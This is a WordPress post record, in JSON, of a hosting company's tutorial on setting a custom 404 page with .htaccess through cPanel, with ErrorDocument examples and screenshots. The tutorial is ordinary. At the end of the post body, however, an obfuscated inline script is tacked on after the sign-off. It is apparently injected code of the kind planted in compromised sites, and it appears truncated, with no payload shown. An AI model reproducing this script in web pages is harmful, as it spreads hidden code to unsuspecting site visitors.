{"id":392,"date":"2021-06-23T09:09:15","date_gmt":"2021-06-23T09:09:15","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=392"},"modified":"2024-08-12T13:34:58","modified_gmt":"2024-08-12T12:34:58","slug":"how-to-set-a-custom-404-page-with-htaccess","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/","title":{"rendered":"How to Set a Custom 404 Page With .htaccess"},"content":{"rendered":"<p>In this article we\u2019ll show you how to set a\u00a0<strong>custom 404<\/strong>\u00a0page via a\u00a0<strong>.htaccess<\/strong>\u00a0file. This will allow you to set the error message that visitors to your site receive when they request a page that doesn\u2019t exist on the server.<\/p>\n<p>It\u2019s typically recommended to handle 404 errors with a custom static HTML 404 error page instead of handling them dynamically.<\/p>\n<p>The easiest way to modify your .htaccess file would be using cPanel\u2019s file manager with the instructions below, although you can also upload a .htaccess file via\u00a0FTP\u00a0as well.<\/p>\n<h2>Create or Modify a Custom 404 Page via .htaccess<\/h2>\n<ol class=\"article_list\">\n<li>Login to your cPanel.\n<div><\/div>\n<\/li>\n<li>Under the\u00a0<strong>Files<\/strong>\u00a0section click on\u00a0<strong>File Manager<\/strong>.<br \/>\n<img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-393\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9-300x66.png\" alt=\"\" width=\"673\" height=\"148\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9-300x66.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png 751w\" sizes=\"(max-width: 673px) 100vw, 673px\" \/><\/li>\n<li>Navigate to the document root folder for the site.\n<div><\/div>\n<\/li>\n<li>Click on\u00a0<strong>Settings<\/strong>.<br \/>\n<img decoding=\"async\" class=\"aligncenter wp-image-394\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-10-300x88.png\" alt=\"\" width=\"556\" height=\"163\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-10-300x88.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-10.png 755w\" sizes=\"(max-width: 556px) 100vw, 556px\" \/><\/p>\n<div><\/div>\n<\/li>\n<li>Ensure\u00a0<strong>Show Hidden Files<\/strong>\u00a0is selected.<img decoding=\"async\" class=\"aligncenter wp-image-395\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-11-300x202.png\" alt=\"\" width=\"473\" height=\"318\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-11-300x202.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-11.png 606w\" sizes=\"(max-width: 473px) 100vw, 473px\" \/><\/li>\n<li>Then click\u00a0<strong>Save<\/strong>.<\/li>\n<li>Right-click on the\u00a0<strong>.htaccess<\/strong>\u00a0file and select\u00a0<strong>Edit<\/strong>.\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-396\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-12-300x161.png\" alt=\"\" width=\"458\" height=\"246\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-12-300x161.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-12.png 757w\" sizes=\"(max-width: 458px) 100vw, 458px\" \/><\/div>\n<\/li>\n<li>If the\u00a0<strong>.htaccess<\/strong>\u00a0file didn\u2019t exist in the previous step, click on the\u00a0<strong>+File<\/strong>\u00a0link on the top left, name the file\u00a0<strong>.htaccess<\/strong>, and set the directory for creation to\u00a0<strong>\/public_html\/<\/strong>\u00a0or the document root of your site.\n<div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-397\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-13-300x150.png\" alt=\"\" width=\"476\" height=\"238\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-13-300x150.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-13.png 755w\" sizes=\"(max-width: 476px) 100vw, 476px\" \/><\/div>\n<\/div>\n<\/li>\n<li>You might have a text editor encoding dialog box pop-up, go ahead and just click\u00a0<strong>Edit<\/strong>.<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-398\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-14-300x198.png\" alt=\"\" width=\"474\" height=\"313\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-14-300x198.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-14-687x455.png 687w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-14.png 740w\" sizes=\"(max-width: 474px) 100vw, 474px\" \/><\/li>\n<li>Now that you are ready to edit the\u00a0<strong>.htaccess<\/strong>\u00a0file, the simplest way to set a 404 error page is by directly setting a 404 error message in the\u00a0<strong>.htaccess<\/strong>\u00a0file itself:\n<div class=\"copy-the-code-outside\"><\/div>\n<pre class=\"copy-the-code-target\">ErrorDocument 404 \"&lt;H1&gt;Page not found&lt;\/H1&gt;\"<\/pre>\n<p>If you already have a static HTML page that you\u2019d like to use for 404 errors you can also directly point to that file with the\u00a0<strong>.htaccess<\/strong>\u00a0file as well. In this example, we have a 404.html page we want to serve up. Be sure to replace \u201c404.html\u201d with your actual page name:<\/p>\n<pre class=\"copy-the-code-target\">ErrorDocument 404 \/404.html<\/pre>\n<div><\/div>\n<\/li>\n<li>After you\u2019ve made your edits to the .htaccess file, click on\u00a0<strong>Save Changes<\/strong>.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-400\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-15-300x75.png\" alt=\"\" width=\"540\" height=\"135\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-15-300x75.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-15.png 758w\" sizes=\"(max-width: 540px) 100vw, 540px\" \/><br \/>\nYou should see a green\u00a0<strong>Success<\/strong>\u00a0pop-up<\/p>\n<div>\n<figure><\/figure>\n<div><\/div>\n<\/div>\n<\/li>\n<li>Now if you try to pull up a page that won\u2019t exist on the server such as\u00a0<strong>\/ThisPageWon\u2019tExist\u00a0<\/strong>you should see the custom 404 error message that we\u2019ve configured. This first image below is the default 404 error page when a custom one is not set:\n<div><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-401\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-16-300x63.png\" alt=\"\" width=\"533\" height=\"112\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-16-300x63.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-16.png 747w\" sizes=\"(max-width: 533px) 100vw, 533px\" \/><br \/>\nThe second one is the custom 404 page that we just created:<\/li>\n<\/ol>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-402\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-17-300x64.png\" alt=\"\" width=\"525\" height=\"112\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-17-300x64.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-17.png 761w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Hola, we hope this article help out check out our hosting service \u00a0<a href=\"http:\/\/Hoganhost.com.ng\">Hoganhost.com.ng<\/a><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":393,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[29,9],"tags":[],"class_list":["post-392","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htaccess","category-wordpress"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Set a Custom 404 Page With .htaccess - HoganHost blog<\/title>\n<meta name=\"description\" content=\"In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the error message that visitors\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Set a Custom 404 Page With .htaccess - HoganHost blog\" \/>\n<meta property=\"og:description\" content=\"In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the error message that visitors\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-23T09:09:15+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:34:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png\" \/>\n\t<meta property=\"og:image:width\" content=\"751\" \/>\n\t<meta property=\"og:image:height\" content=\"166\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to Set a Custom 404 Page With .htaccess\",\"datePublished\":\"2021-06-23T09:09:15+00:00\",\"dateModified\":\"2024-08-12T12:34:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\"},\"wordCount\":385,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png\",\"articleSection\":[\"htaccess\",\"wordpress\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\",\"name\":\"How to Set a Custom 404 Page With .htaccess - HoganHost blog\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png\",\"datePublished\":\"2021-06-23T09:09:15+00:00\",\"dateModified\":\"2024-08-12T12:34:58+00:00\",\"description\":\"In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the error message that visitors\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png\",\"width\":751,\"height\":166},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Set a Custom 404 Page With .htaccess\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Set a Custom 404 Page With .htaccess - HoganHost blog","description":"In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the error message that visitors","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/","og_locale":"en_US","og_type":"article","og_title":"How to Set a Custom 404 Page With .htaccess - HoganHost blog","og_description":"In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the error message that visitors","og_url":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-06-23T09:09:15+00:00","article_modified_time":"2024-08-12T12:34:58+00:00","og_image":[{"width":751,"height":166,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png","type":"image\/png"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to Set a Custom 404 Page With .htaccess","datePublished":"2021-06-23T09:09:15+00:00","dateModified":"2024-08-12T12:34:58+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/"},"wordCount":385,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png","articleSection":["htaccess","wordpress"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/","url":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/","name":"How to Set a Custom 404 Page With .htaccess - HoganHost blog","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png","datePublished":"2021-06-23T09:09:15+00:00","dateModified":"2024-08-12T12:34:58+00:00","description":"In this article we\u2019ll show you how to set a\u00a0custom 404\u00a0page via a\u00a0.htaccess\u00a0file. This will allow you to set the error message that visitors","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/06\/Screenshot-9.png","width":751,"height":166},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-set-a-custom-404-page-with-htaccess\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to Set a Custom 404 Page With .htaccess"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/392","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=392"}],"version-history":[{"count":3,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/392\/revisions"}],"predecessor-version":[{"id":404,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/392\/revisions\/404"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/393"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}